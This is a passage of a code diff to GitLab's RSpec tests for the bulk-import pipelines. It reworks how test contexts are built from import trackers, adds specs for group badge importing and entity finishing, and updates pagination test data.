+++ b/spec/lib/bulk_imports/groups/graphql/get_group_query_spec.rb
@@ -4,10 +4,10 @@ require 'spec_helper'
RSpec.describe BulkImports::Groups::Graphql::GetGroupQuery do
describe '#variables' do
- let(:entity) { double(source_full_path: 'test', bulk_import: nil) }
- let(:context) { BulkImports::Pipeline::Context.new(entity) }
-
it 'returns query variables based on entity information' do
+ entity = double(source_full_path: 'test', bulk_import: nil)
+ tracker = double(entity: entity)
+ context = BulkImports::Pipeline::Context.new(tracker)
expected = { full_path: entity.source_full_path }
expect(described_class.variables(context)).to eq(expected)
diff --git a/spec/lib/bulk_imports/groups/graphql/get_labels_query_spec.rb b/spec/lib/bulk_imports/groups/graphql/get_labels_query_spec.rb
index 85f82be7d18..61db644a372 100644
--- a/spec/lib/bulk_imports/groups/graphql/get_labels_query_spec.rb
+++ b/spec/lib/bulk_imports/groups/graphql/get_labels_query_spec.rb
@@ -4,8 +4,8 @@ require 'spec_helper'
RSpec.describe BulkImports::Groups::Graphql::GetLabelsQuery do
it 'has a valid query' do
- entity = create(:bulk_import_entity)
- context = BulkImports::Pipeline::Context.new(entity)
+ tracker = create(:bulk_import_tracker)
+ context = BulkImports::Pipeline::Context.new(tracker)
query = GraphQL::Query.new(
GitlabSchema,
diff --git a/spec/lib/bulk_imports/groups/graphql/get_members_query_spec.rb b/spec/lib/bulk_imports/groups/graphql/get_members_query_spec.rb
index 5d05f5a2d30..d0c4bb817b2 100644
--- a/spec/lib/bulk_imports/groups/graphql/get_members_query_spec.rb
+++ b/spec/lib/bulk_imports/groups/graphql/get_members_query_spec.rb
@@ -4,8 +4,8 @@ require 'spec_helper'
RSpec.describe BulkImports::Groups::Graphql::GetMembersQuery do
it 'has a valid query' do
- entity = create(:bulk_import_entity)
- context = BulkImports::Pipeline::Context.new(entity)
+ tracker = create(:bulk_import_tracker)
+ context = BulkImports::Pipeline::Context.new(tracker)
query = GraphQL::Query.new(
GitlabSchema,
diff --git a/spec/lib/bulk_imports/groups/graphql/get_milestones_query_spec.rb b/spec/lib/bulk_imports/groups/graphql/get_milestones_query_spec.rb
index a38505fbf85..7a0f964c5f3 100644
--- a/spec/lib/bulk_imports/groups/graphql/get_milestones_query_spec.rb
+++ b/spec/lib/bulk_imports/groups/graphql/get_milestones_query_spec.rb
@@ -4,8 +4,8 @@ require 'spec_helper'
RSpec.describe BulkImports::Groups::Graphql::GetMilestonesQuery do
it 'has a valid query' do
- entity = create(:bulk_import_entity)
- context = BulkImports::Pipeline::Context.new(entity)
+ tracker = create(:bulk_import_tracker)
+ context = BulkImports::Pipeline::Context.new(tracker)
query = GraphQL::Query.new(
GitlabSchema,
diff --git a/spec/lib/bulk_imports/groups/loaders/group_loader_spec.rb b/spec/lib/bulk_imports/groups/loaders/group_loader_spec.rb
index 183292722d2..533955b057c 100644
--- a/spec/lib/bulk_imports/groups/loaders/group_loader_spec.rb
+++ b/spec/lib/bulk_imports/groups/loaders/group_loader_spec.rb
@@ -4,12 +4,13 @@ require 'spec_helper'
RSpec.describe BulkImports::Groups::Loaders::GroupLoader do
describe '#load' do
- let(:user) { create(:user) }
- let(:data) { { foo: :bar } }
+ let_it_be(:user) { create(:user) }
+ let_it_be(:bulk_import) { create(:bulk_import, user: user) }
+ let_it_be(:entity) { create(:bulk_import_entity, bulk_import: bulk_import) }
+ let_it_be(:tracker) { create(:bulk_import_tracker, entity: entity) }
+ let_it_be(:context) { BulkImports::Pipeline::Context.new(tracker) }
let(:service_double) { instance_double(::Groups::CreateService) }
- let(:bulk_import) { create(:bulk_import, user: user) }
- let(:entity) { create(:bulk_import_entity, bulk_import: bulk_import) }
- let(:context) { BulkImports::Pipeline::Context.new(entity) }
+ let(:data) { { foo: :bar } }
subject { described_class.new }
diff --git a/spec/lib/bulk_imports/groups/pipelines/badges_pipeline_spec.rb b/spec/lib/bulk_imports/groups/pipelines/badges_pipeline_spec.rb
new file mode 100644
index 00000000000..9fa35c4707d
--- /dev/null
+++ b/spec/lib/bulk_imports/groups/pipelines/badges_pipeline_spec.rb
@@ -0,0 +1,116 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe BulkImports::Groups::Pipelines::BadgesPipeline do
+ let_it_be(:user) { create(:user) }
+ let_it_be(:group) { create(:group) }
+
+ let_it_be(:entity) do
+ create(
+ :bulk_import_entity,
+ source_full_path: 'source/full/path',
+ destination_name: 'My Destination Group',
+ destination_namespace: group.full_path,
+ group: group
+ )
+ end
+
+ let_it_be(:tracker) { create(:bulk_import_tracker, entity: entity) }
+ let_it_be(:context) { BulkImports::Pipeline::Context.new(tracker) }
+
+ subject { described_class.new(context) }
+
+ describe '#run' do
+ it 'imports a group badge' do
+ first_page = extracted_data(has_next_page: true)
+ last_page = extracted_data(name: 'badge2')
+
+ allow_next_instance_of(BulkImports::Common::Extractors::RestExtractor) do |extractor|
+ allow(extractor)
+ .to receive(:extract)
+ .and_return(first_page, last_page)
+ end
+
+ expect { subject.run }.to change(Badge, :count).by(2)
+
+ badge = group.badges.last
+
+ expect(badge.name).to eq('badge2')
+ expect(badge.link_url).to eq(badge_data['link_url'])
+ expect(badge.image_url).to eq(badge_data['image_url'])
+ end
+
+ describe '#load' do
+ it 'creates a badge' do
+ expect { subject.load(context, badge_data) }.to change(Badge, :count).by(1)
+
+ badge = group.badges.first
+
+ badge_data.each do |key, value|
+ expect(badge[key]).to eq(value)
+ end
+ end
+
+ it 'does nothing when the data is blank' do
+ expect { subject.load(context, nil) }.not_to change(Badge, :count)
+ end
+ end
+
+ describe '#transform' do
+ it 'return transformed badge hash' do
+ badge = subject.transform(context, badge_data)
+
+ expect(badge[:name]).to eq('badge')
+ expect(badge[:link_url]).to eq(badge_data['link_url'])
+ expect(badge[:image_url]).to eq(badge_data['image_url'])
+ expect(badge.keys).to contain_exactly(:name, :link_url, :image_url)
+ end
+
+ context 'when data is blank' do
+ it 'does nothing when the data is blank' do
+ expect(subject.transform(context, nil)).to be_nil
+ end
+ end
+ end
+
+ describe 'pipeline parts' do
+ it { expect(described_class).to include_module(BulkImports::Pipeline) }
+ it { expect(described_class).to include_module(BulkImports::Pipeline::Runner) }
+
+ it 'has extractors' do
+ expect(described_class.get_extractor)
+ .to eq(
+ klass: BulkImports::Common::Extractors::RestExtractor,
+ options: {
+ query: BulkImports::Groups::Rest::GetBadgesQuery
+ }
+ )
+ end
+
+ it 'has transformers' do
+ expect(described_class.transformers)
+ .to contain_exactly(
+ { klass: BulkImports::Common::Transformers::ProhibitedAttributesTransformer, options: nil }
+ )
+ end
+ end
+
+ def badge_data(name = 'badge')
+ {
+ 'name' => name,
+ 'link_url' => 'https://gitlab.example.com',
+ 'image_url' => 'https://gitlab.example.com/image.png'
+ }
+ end
+
+ def extracted_data(name: 'badge', has_next_page: false)
+ page_info = {
+ 'has_next_page' => has_next_page,
+ 'next_page' => has_next_page ? '2' : nil
+ }
+
+ BulkImports::Pipeline::ExtractedData.new(data: [badge_data(name)], page_info: page_info)
+ end
+ end
+end
diff --git a/spec/lib/bulk_imports/groups/pipelines/entity_finisher_spec.rb b/spec/lib/bulk_imports/groups/pipelines/entity_finisher_spec.rb
new file mode 100644
index 00000000000..8276349c5f4
--- /dev/null
+++ b/spec/lib/bulk_imports/groups/pipelines/entity_finisher_spec.rb
@@ -0,0 +1,37 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe BulkImports::Groups::Pipelines::EntityFinisher do
+ it 'updates the entity status to finished' do
+ entity = create(:bulk_import_entity, :started)
+ pipeline_tracker = create(:bulk_import_tracker, entity: entity)
+ context = BulkImports::Pipeline::Context.new(pipeline_tracker)
+ subject = described_class.new(context)
+
+ expect_next_instance_of(Gitlab::Import::Logger) do |logger|
+ expect(logger)
+ .to receive(:info)
+ .with(
+ bulk_import_id: entity.bulk_import.id,
+ bulk_import_entity_id: entity.id,
+ bulk_import_entity_type: entity.source_type,
+ pipeline_class: described_class.name,
+ message: 'Entity finished'
+ )
+ end
+
+ expect { subject.run }
+ .to change(entity, :status_name).to(:finished)
+ end
+
+ it 'does nothing when the entity is already finished' do
+ entity = create(:bulk_import_entity, :finished)
+ pipeline_tracker = create(:bulk_import_tracker, entity: entity)
+ context = BulkImports::Pipeline::Context.new(pipeline_tracker)
+ subject = described_class.new(context)
+
+ expect { subject.run }
+ .not_to change(entity, :status_name)
+ end
+end
diff --git a/spec/lib/bulk_imports/groups/pipelines/group_pipeline_spec.rb b/spec/lib/bulk_imports/groups/pipelines/group_pipeline_spec.rb
index 61950cdd9b0..39e782dc093 100644
--- a/spec/lib/bulk_imports/groups/pipelines/group_pipeline_spec.rb
+++ b/spec/lib/bulk_imports/groups/pipelines/group_pipeline_spec.rb
@@ -4,10 +4,11 @@ require 'spec_helper'
RSpec.describe BulkImports::Groups::Pipelines::GroupPipeline do
describe '#run' do
- let(:user) { create(:user) }
- let(:parent) { create(:group) }
- let(:bulk_import) { create(:bulk_import, user: user) }
- let(:entity) do
+ let_it_be(:user) { create(:user) }
+ let_it_be(:parent) { create(:group) }
+ let_it_be(:bulk_import) { create(:bulk_import, user: user) }
+
+ let_it_be(:entity) do
create(
:bulk_import_entity,
bulk_import: bulk_import,
@@ -17,7 +18,8 @@ RSpec.describe BulkImports::Groups::Pipelines::GroupPipeline do
)
end
- let(:context) { BulkImports::Pipeline::Context.new(entity) }
+ let_it_be(:tracker) { create(:bulk_import_tracker, entity: entity) }
+ let_it_be(:context) { BulkImports::Pipeline::Context.new(tracker) }
let(:group_data) do
{
@@ -37,7 +39,7 @@ RSpec.describe BulkImports::Groups::Pipelines::GroupPipeline do
before do
allow_next_instance_of(BulkImports::Common::Extractors::GraphqlExtractor) do |extractor|
- allow(extractor).to receive(:extract).and_return([group_data])
+ allow(extractor).to receive(:extract).and_return(BulkImports::Pipeline::ExtractedData.new(data: group_data))
end
parent.add_owner(user)
diff --git a/spec/lib/bulk_imports/groups/pipelines/labels_pipeline_spec.rb b/spec/lib/bulk_imports/groups/pipelines/labels_pipeline_spec.rb
index 3327a30f1d5..8af646d1101 100644
--- a/spec/lib/bulk_imports/groups/pipelines/labels_pipeline_spec.rb
+++ b/spec/lib/bulk_imports/groups/pipelines/labels_pipeline_spec.rb
@@ -3,11 +3,11 @@
require 'spec_helper'
RSpec.describe BulkImports::Groups::Pipelines::LabelsPipeline do
- let(:user) { create(:user) }
- let(:group) { create(:group) }
- let(:cursor) { 'cursor' }
- let(:timestamp) { Time.new(2020, 01, 01).utc }
- let(:entity) do
+ let_it_be(:user) { create(:user) }
+ let_it_be(:group) { create(:group) }
+ let_it_be(:timestamp) { Time.new(2020, 01, 01).utc }
+
+ let_it_be(:entity) do
create(
:bulk_import_entity,
source_full_path: 'source/full/path',
@@ -17,33 +17,15 @@ RSpec.describe BulkImports::Groups::Pipelines::LabelsPipeline do
)
end
- let(:context) { BulkImports::Pipeline::Context.new(entity) }
+ let_it_be(:tracker) { create(:bulk_import_tracker, entity: entity) }
+ let_it_be(:context) { BulkImports::Pipeline::Context.new(tracker) }
subject { described_class.new(context) }
- def label_data(title)
- {
- 'title' => title,
- 'description' => 'desc',
- 'color' => '#428BCA',
- 'created_at' => timestamp.to_s,
- 'updated_at' => timestamp.to_s
- }
- end
-
- def extractor_data(title:, has_next_page:, cursor: nil)
- page_info = {
- 'end_cursor' => cursor,
- 'has_next_page' => has_next_page
- }
-
- BulkImports::Pipeline::ExtractedData.new(data: [label_data(title)], page_info: page_info)
- end
-
describe '#run' do
it 'imports a group labels' do
- first_page = extractor_data(title: 'label1', has_next_page: true, cursor: cursor)
- last_page = extractor_data(title: 'label2', has_next_page: false)
+ first_page = extracted_data(title: 'label1', has_next_page: true)
+ last_page = extracted_data(title: 'label2')
allow_next_instance_of(BulkImports::Common::Extractors::GraphqlExtractor) do |extractor|
allow(extractor)
@@ -63,38 +45,6 @@ RSpec.describe BulkImports::Groups::Pipelines::LabelsPipeline do
end
end
- describe '#after_run' do
- context 'when extracted data has next page' do
- it 'updates tracker information and runs pipeline again' do
- data = extractor_data(title: 'label', has_next_page: true, cursor: cursor)
-
- expect(subject).to receive(:run)
-
- subject.after_run(data)
-
- tracker = entity.trackers.find_by(relation: :labels)
-
- expect(tracker.has_next_page).to eq(true)
- expect(tracker.next_page).to eq(cursor)
- end
- end
-
- context 'when extracted data has no next page' do
- it 'updates tracker information and does not run pipeline' do
- data = extractor_data(title: 'label', has_next_page: false)
-
- expect(subject).not_to receive(:run)
-
- subject.after_run(data)
-
- tracker = entity.trackers.find_by(relation: :labels)
-
- expect(tracker.has_next_page).to eq(false)
- expect(tracker.next_page).to be_nil
- end
- end
- end
-
describe '#load' do
it 'creates the label' do
data = label_data('label')
@@ -130,4 +80,23 @@ RSpec.describe BulkImports::Groups::Pipelines::LabelsPipeline do
)
end
end
+
+ def label_data(title)
+ {
+ 'title' => title,
+ 'description' => 'desc',
+ 'color' => '#428BCA',
+ 'created_at' => timestamp.to_s,
+ 'updated_at' => timestamp.to_s
+ }
+ end
+
+ def extracted_data(title:, has_next_page: false)
+ page_info = {
+ 'has_next_page' => has_next_page,
+ 'next_page' => has_next_page ? 'cursor' : nil
+ }
+
+ BulkImports::Pipeline::ExtractedData.new(data: [label_data(title)], page_info: page_info)
+ end
end
diff --git a/spec/lib/bulk_imports/groups/pipelines/members_pipeline_spec.rb b/spec/lib/bulk_imports/groups/pipelines/members_pipeline_spec.rb
index 74d3e09d263..d8a667ec92a 100644
--- a/spec/lib/bulk_imports/groups/pipelines/members_pipeline_spec.rb
+++ b/spec/lib/bulk_imports/groups/pipelines/members_pipeline_spec.rb
@@ -8,17 +8,17 @@ RSpec.describe BulkImports::Groups::Pipelines::MembersPipeline do
let_it_be(:user) { create(:user) }
let_it_be(:group) { create(:group) }
- let_it_be(:cursor) { 'cursor' }
let_it_be(:bulk_import) { create(:bulk_import, user: user) }
let_it_be(:entity) { create(:bulk_import_entity, bulk_import: bulk_import, group: group) }
- let_it_be(:context) { BulkImports::Pipeline::Context.new(entity) }
+ let_it_be(:tracker) { create(:bulk_import_tracker, entity: entity) }
+ let_it_be(:context) { BulkImports::Pipeline::Context.new(tracker) }
subject { described_class.new(context) }
describe '#run' do
it 'maps existing users to the imported group' do
- first_page = member_data(email: member_user1.email, has_next_page: true, cursor: cursor)
- last_page = member_data(email: member_user2.email, has_next_page: false)
+ first_page = extracted_data(email: member_user1.email, has_next_page: true)
+ last_page = extracted_data(email: member_user2.email)
allow_next_instance_of(BulkImports::Common::Extractors::GraphqlExtractor) do |extractor|
allow(extractor)
@@ -88,7 +88,7 @@ RSpec.describe BulkImports::Groups::Pipelines::MembersPipeline do
end
end
- def member_data(email:, has_next_page:, cursor: nil)
+ def extracted_data(email:, has_next_page: false)
data = {
'created_at' => '2020-01-01T00:00:00Z',
'updated_at' => '2020-01-01T00:00:00Z',
@@ -102,8 +102,8 @@ RSpec.describe BulkImports::Groups::Pipelines::MembersPipeline do
}
page_info = {
- 'end_cursor' => cursor,
- 'has_next_page' => has_next_page
+ 'has_next_page' => has_next_page,
+ 'next_page' => has_next_page ? 'cursor' : nil
}
BulkImports::Pipeline::ExtractedData.new(data: data, page_info: page_info)
diff --git a/spec/lib/bulk_imports/groups/pipelines/milestones_pipeline_spec.rb b/spec/lib/bulk_imports/groups/pipelines/milestones_pipeline_spec.rb
index f0c34c65257..e5cf75c566b 100644
--- a/spec/lib/bulk_imports/groups/pipelines/milestones_pipeline_spec.rb
+++ b/spec/lib/bulk_imports/groups/pipelines/milestones_pipeline_spec.rb
@@ -5,11 +5,10 @@ require 'spec_helper'
RSpec.describe BulkImports::Groups::Pipelines::MilestonesPipeline do
let_it_be(:user) { create(:user) }
let_it_be(:group) { create(:group) }
- let_it_be(:cursor) { 'cursor' }
let_it_be(:timestamp) { Time.new(2020, 01, 01).utc }
let_it_be(:bulk_import) { create(:bulk_import, user: user) }
- let(:entity) do
+ let_it_be(:entity) do
create(
:bulk_import_entity,
bulk_import: bulk_import,
@@ -20,39 +19,19 @@ RSpec.describe BulkImports::Groups::Pipelines::MilestonesPipeline do
)
end
- let(:context) { BulkImports::Pipeline::Context.new(entity) }
+ let_it_be(:tracker) { create(:bulk_import_tracker, entity: entity) }
+ let_it_be(:context) { BulkImports::Pipeline::Context.new(tracker) }
subject { described_class.new(context) }
- def milestone_data(title)
- {
- 'title' => title,
- 'description' => 'desc',
- 'state' => 'closed',
- 'start_date' => '2020-10-21',
- 'due_date' => '2020-10-22',
- 'created_at' => timestamp.to_s,
- 'updated_at' => timestamp.to_s
- }
- end
-
- def extracted_data(title:, has_next_page:, cursor: nil)
- page_info = {
- 'end_cursor' => cursor,
- 'has_next_page' => has_next_page
- }
-
- BulkImports::Pipeline::ExtractedData.new(data: [milestone_data(title)], page_info: page_info)
- end
-
before do
group.add_owner(user)
end
describe '#run' do
it 'imports group milestones' do
- first_page = extracted_data(title: 'milestone1', has_next_page: true, cursor: cursor)
- last_page = extracted_data(title: 'milestone2', has_next_page: false)
+ first_page = extracted_data(title: 'milestone1', iid: 1, has_next_page: true)
+ last_page = extracted_data(title: 'milestone2', iid: 2)
allow_next_instance_of(BulkImports::Common::Extractors::GraphqlExtractor) do |extractor|
allow(extractor)
@@ -75,38 +54,6 @@ RSpec.describe BulkImports::Groups::Pipelines::MilestonesPipeline do
end
end
- describe '#after_run' do
- context 'when extracted data has next page' do
- it 'updates tracker information and runs pipeline again' do
- data = extracted_data(title: 'milestone', has_next_page: true, cursor: cursor)
-
- expect(subject).to receive(:run)
-
- subject.after_run(data)
-
- tracker = entity.trackers.find_by(relation: :milestones)
-
- expect(tracker.has_next_page).to eq(true)
- expect(tracker.next_page).to eq(cursor)
- end
- end
-
- context 'when extracted data has no next page' do
- it 'updates tracker information and does not run pipeline' do
- data = extracted_data(title: 'milestone', has_next_page: false)
-
- expect(subject).not_to receive(:run)
-
- subject.after_run(data)
-
- tracker = entity.trackers.find_by(relation: :milestones)
-
- expect(tracker.has_next_page).to eq(false)
- expect(tracker.next_page).to be_nil
- end
- end
- end
-
describe '#load' do
it 'creates the milestone' do
data = milestone_data('milestone')
@@ -120,7 +67,7 @@ RSpec.describe BulkImports::Groups::Pipelines::MilestonesPipeline do
end
it 'raises NotAllowedError' do
- data = extracted_data(title: 'milestone', has_next_page: false)
+ data = extracted_data(title: 'milestone')
expect { subject.load(context, data) }.to raise_error(::BulkImports::Pipeline::NotAllowedError)
end
@@ -148,4 +95,29 @@ RSpec.describe BulkImports::Groups::Pipelines::MilestonesPipeline do
)
end
end
+
+ def milestone_data(title, iid: 1)
+ {
+ 'title' => title,
+ 'description' => 'desc',
+ 'iid' => iid,
+ 'state' => 'closed',
+ 'start_date' => '2020-10-21',
+ 'due_date' => '2020-10-22',
+ 'created_at' => timestamp.to_s,
+ 'updated_at' => timestamp.to_s
+ }
+ end
+
+ def extracted_data(title:, iid: 1, has_next_page: false)
+ page_info = {
+ 'has_next_page' => has_next_page,
+ 'next_page' => has_next_page ? 'cursor' : nil
+ }
+
+ BulkImports::Pipeline::ExtractedData.new(
+ data: milestone_data(title, iid: iid),
+ page_info: page_info
+ )
+ end
end
diff --git a/spec/lib/bulk_imports/groups/pipelines/subgroup_entities_pipeline_spec.rb b/spec/lib/bulk_imports/groups/pipelines/subgroup_entities_pipeline_spec.rb
index 2a99646bb4a..e4a41428dd2 100644
--- a/spec/lib/bulk_imports/groups/pipelines/subgroup_entities_pipeline_spec.rb
+++ b/spec/lib/bulk_imports/groups/pipelines/subgroup_entities_pipeline_spec.rb
@@ -6,31 +6,23 @@ RSpec.describe BulkImports::Groups::Pipelines::SubgroupEntitiesPipeline do
let_it_be(:user) { create(:user) }
let_it_be(:group) { create(:group, path: 'group') }
let_it_be(:parent) { create(:group, name: 'imported-group', path: 'imported-group') }
- let(:context) { BulkImports::Pipeline::Context.new(parent_entity) }
+ let_it_be(:parent_entity) { create(:bulk_import_entity, destination_namespace: parent.full_path, group: parent) }
+ let_it_be(:tracker) { create(:bulk_import_tracker, entity: parent_entity) }
+ let_it_be(:context) { BulkImports::Pipeline::Context.new(tracker) }
subject { described_class.new(context) }
- describe '#run' do
- let!(:parent_entity) do
- create(
- :bulk_import_entity,
- destination_namespace: parent.full_path,
- group: parent
- )
- end
-
- let(:subgroup_data) do
- [
- {
- "name" => "subgroup",
- "full_path" => "parent/subgroup"
- }
- ]
- end
+ let(:extracted_data) do
+ BulkImports::Pipeline::ExtractedData.new(data: {
+ 'name' => 'subgroup',
+ 'full_path' => 'parent/subgroup'
+ })
+ end
+ describe '#run' do
before do
allow_next_instance_of(BulkImports::Groups::Extractors::SubgroupsExtractor) do |extractor|
- allow(extractor).to receive(:extract).and_return(subgroup_data)
+ allow(extractor).to receive(:extract).and_return(extracted_data)
end
parent.add_owner(user)
diff --git a/spec/lib/bulk_imports/groups/rest/get_badges_query_spec.rb b/spec/lib/bulk_imports/groups/rest/get_badges_query_spec.rb
new file mode 100644
index 00000000000..eef6848e118
--- /dev/null
+++ b/spec/lib/bulk_imports/groups/rest/get_badges_query_spec.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe BulkImports::Groups::Rest::GetBadgesQuery do
+ describe '.to_h' do
+ it 'returns query resource and page info' do
+ entity = create(:bulk_import_entity)
+ tracker = create(:bulk_import_tracker, entity: entity)
+ context = BulkImports::Pipeline::Context.new(tracker)
+ encoded_full_path = ERB::Util.url_encode(entity.source_full_path)
+ expected = {
+ resource: ['groups', encoded_full_path, 'badges'].join('/'),
+ query: {
+ page: context.tracker.next_page
+ }
+ }
+
+ expect(described_class.to_h(context)).to eq(expected)
+ end
+ end
+end
diff --git a/spec/lib/bulk_imports/groups/transformers/group_attributes_transformer_spec.rb b/spec/lib/bulk_imports/groups/transformers/group_attributes_transformer_spec.rb
index b3fe8a2ba25..75d8c15088a 100644
--- a/spec/lib/bulk_imports/groups/transformers/group_attributes_transformer_spec.rb
+++ b/spec/lib/bulk_imports/groups/transformers/group_attributes_transformer_spec.rb
@@ -4,11 +4,12 @@ require 'spec_helper'
RSpec.describe BulkImports::Groups::Transformers::GroupAttributesTransformer do
describe '#transform' do
- let(:user) { create(:user) }
- let(:parent) { create(:group) }
- let(:group) { create(:group, name: 'My Source Group', parent: parent) }
- let(:bulk_import) { create(:bulk_import, user: user) }
- let(:entity) do
+ let_it_be(:user) { create(:user) }
+ let_it_be(:parent) { create(:group) }
+ let_it_be(:group) { create(:group, name: 'My Source Group', parent: parent) }
+ let_it_be(:bulk_import) { create(:bulk_import, user: user) }
+
+ let_it_be(:entity) do
create(
:bulk_import_entity,
bulk_import: bulk_import,
@@ -18,7 +19,8 @@ RSpec.describe BulkImports::Groups::Transformers::GroupAttributesTransformer do
)
end
- let(:context) { BulkImports::Pipeline::Context.new(entity) }
+ let_it_be(:tracker) { create(:bulk_import_tracker, entity: entity) }
+ let_it_be(:context) { BulkImports::Pipeline::Context.new(tracker) }
let(:data) do
{
@@ -82,14 +84,7 @@ RSpec.describe BulkImports::Groups::Transformers::GroupAttributesTransformer do
context 'when destination namespace is empty' do
it 'does not set parent id' do
- entity = create(
- :bulk_import_entity,
- bulk_import: bulk_import,
- source_full_path: 'source/full/path',
- destination_name: group.name,
- destination_namespace: ''
- )
- context = BulkImports::Pipeline::Context.new(entity)
+ entity.update!(destination_namespace: '')
transformed_data = subject.transform(context, data)
diff --git a/spec/lib/bulk_imports/groups/transformers/member_attributes_transformer_spec.rb b/spec/lib/bulk_imports/groups/transformers/member_attributes_transformer_spec.rb
index f66c67fc6a2..f3905a4b6e4 100644
--- a/spec/lib/bulk_imports/groups/transformers/member_attributes_transformer_spec.rb
+++ b/spec/lib/bulk_imports/groups/transformers/member_attributes_transformer_spec.rb
@@ -8,7 +8,8 @@ RSpec.describe BulkImports::Groups::Transformers::MemberAttributesTransformer do
let_it_be(:group) { create(:group) }
let_it_be(:bulk_import) { create(:bulk_import, user: user) }
let_it_be(:entity) { create(:bulk_import_entity, bulk_import: bulk_import, group: group) }
- let_it_be(:context) { BulkImports::Pipeline::Context.new(entity) }
+ let_it_be(:tracker) { create(:bulk_import_tracker, entity: entity) }
+ let_it_be(:context) { BulkImports::Pipeline::Context.new(tracker) }
it 'returns nil when receives no data' do
expect(subject.transform(context, nil)).to eq(nil)
diff --git a/spec/lib/bulk_imports/importers/group_importer_spec.rb b/spec/lib/bulk_imports/importers/group_importer_spec.rb
deleted file mode 100644
index 5d501b49e41..00000000000
--- a/spec/lib/bulk_imports/importers/group_importer_spec.rb
+++ /dev/null
@@ -1,57 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe BulkImports::Importers::GroupImporter do
- let(:user) { create(:user) }
- let(:group) { create(:group) }
- let(:bulk_import) { create(:bulk_import) }
- let(:bulk_import_entity) { create(:bulk_import_entity, :started, bulk_import: bulk_import, group: group) }
- let(:bulk_import_configuration) { create(:bulk_import_configuration, bulk_import: bulk_import) }
- let(:context) { BulkImports::Pipeline::Context.new(bulk_import_entity) }
-
- before do
- allow(BulkImports::Pipeline::Context).to receive(:new).and_return(context)
- end
-
- subject { described_class.new(bulk_import_entity) }
-
- describe '#execute' do
- it 'starts the entity and run its pipelines' do
- expect_to_run_pipeline BulkImports::Groups::Pipelines::GroupPipeline, context: context
- expect_to_run_pipeline BulkImports::Groups::Pipelines::SubgroupEntitiesPipeline, context: context
- expect_to_run_pipeline BulkImports::Groups::Pipelines::MembersPipeline, context: context
- expect_to_run_pipeline BulkImports::Groups::Pipelines::LabelsPipeline, context: context
- expect_to_run_pipeline BulkImports::Groups::Pipelines::MilestonesPipeline, context: context
-
- if Gitlab.ee?
- expect_to_run_pipeline('EE::BulkImports::Groups::Pipelines::EpicsPipeline'.constantize, context: context)
- expect_to_run_pipeline('EE::BulkImports::Groups::Pipelines::EpicAwardEmojiPipeline'.constantize, context: context)
- expect_to_run_pipeline('EE::BulkImports::Groups::Pipelines::EpicEventsPipeline'.constantize, context: context)
- expect_to_run_pipeline('EE::BulkImports::Groups::Pipelines::IterationsPipeline'.constantize, context: context)
- end
-
- subject.execute
-
- expect(bulk_import_entity.reload).to be_finished
- end
-
- context 'when failed' do
- let(:bulk_import_entity) { create(:bulk_import_entity, :failed, bulk_import: bulk_import, group: group) }
-
- it 'does not transition entity to finished state' do
- allow(bulk_import_entity).to receive(:start!)
-
- subject.execute
-
- expect(bulk_import_entity.reload).to be_failed
- end
- end
- end
-
- def expect_to_run_pipeline(klass, context:)
- expect_next_instance_of(klass, context) do |pipeline|
- expect(pipeline).to receive(:run)
- end
- end
-end
diff --git a/spec/lib/bulk_imports/pipeline/context_spec.rb b/spec/lib/bulk_imports/pipeline/context_spec.rb
index c8c3fe3a861..5b7711ad5d7 100644
--- a/spec/lib/bulk_imports/pipeline/context_spec.rb
+++ b/spec/lib/bulk_imports/pipeline/context_spec.rb
@@ -3,29 +3,52 @@
require 'spec_helper'
RSpec.describe BulkImports::Pipeline::Context do
- let(:group) { instance_double(Group) }
- let(:user) { instance_double(User) }
- let(:bulk_import) { instance_double(BulkImport, user: user, configuration: :config) }
-
- let(:entity) do
- instance_double(
- BulkImports::Entity,
- bulk_import: bulk_import,
- group: group
+ let_it_be(:user) { create(:user) }
+ let_it_be(:group) { create(:group) }
+ let_it_be(:bulk_import) { create(:bulk_import, user: user) }
+
+ let_it_be(:entity) do
+ create(
+ :bulk_import_entity,
+ source_full_path: 'source/full/path',
+ destination_name: 'My Destination Group',
+ destination_namespace: group.full_path,
+ group: group,
+ bulk_import: bulk_import
+ )
+ end
+
+ let_it_be(:tracker) do
+ create(
+ :bulk_import_tracker,
+ entity: entity,
+ pipeline_name: described_class.name
)
end
- subject { described_class.new(entity) }
+ subject { described_class.new(tracker, extra: :data) }
+
+ describe '#entity' do
+ it { expect(subject.entity).to eq(entity) }
+ end
describe '#group' do
it { expect(subject.group).to eq(group) }
end
+ describe '#bulk_import' do
+ it { expect(subject.bulk_import).to eq(bulk_import) }
+ end
+
describe '#current_user' do
it { expect(subject.current_user).to eq(user) }
end
- describe '#current_user' do
+ describe '#configuration' do
it { expect(subject.configuration).to eq(bulk_import.configuration) }
end
+
+ describe '#extra' do
+ it { expect(subject.extra).to eq(extra: :data) }
+ end
end
diff --git a/spec/lib/bulk_imports/pipeline/extracted_data_spec.rb b/spec/lib/bulk_imports/pipeline/extracted_data_spec.rb
index 25c5178227a..9c79b3f4c9e 100644
--- a/spec/lib/bulk_imports/pipeline/extracted_data_spec.rb
+++ b/spec/lib/bulk_imports/pipeline/extracted_data_spec.rb
@@ -9,7 +9,7 @@ RSpec.describe BulkImports::Pipeline::ExtractedData do
let(:page_info) do
{
'has_next_page' => has_next_page,
- 'end_cursor' => cursor
+ 'next_page' => cursor
}
end
diff --git a/spec/lib/bulk_imports/pipeline/runner_spec.rb b/spec/lib/bulk_imports/pipeline/runner_spec.rb
index 59f01c9caaa..7235b7c95cd 100644
--- a/spec/lib/bulk_imports/pipeline/runner_spec.rb
+++ b/spec/lib/bulk_imports/pipeline/runner_spec.rb
@@ -38,23 +38,20 @@ RSpec.describe BulkImports::Pipeline::Runner do
extractor BulkImports::Extractor
transformer BulkImports::Transformer
loader BulkImports::Loader
-
- def after_run(_); end
end
stub_const('BulkImports::MyPipeline', pipeline)
end
- let_it_be_with_refind(:entity) { create(:bulk_import_entity) }
- let(:context) { BulkImports::Pipeline::Context.new(entity, extra: :data) }
+ let_it_be_with_reload(:entity) { create(:bulk_import_entity) }
+ let_it_be(:tracker) { create(:bulk_import_tracker, entity: entity) }
+ let_it_be(:context) { BulkImports::Pipeline::Context.new(tracker, extra: :data) }
subject { BulkImports::MyPipeline.new(context) }
describe 'pipeline runner' do
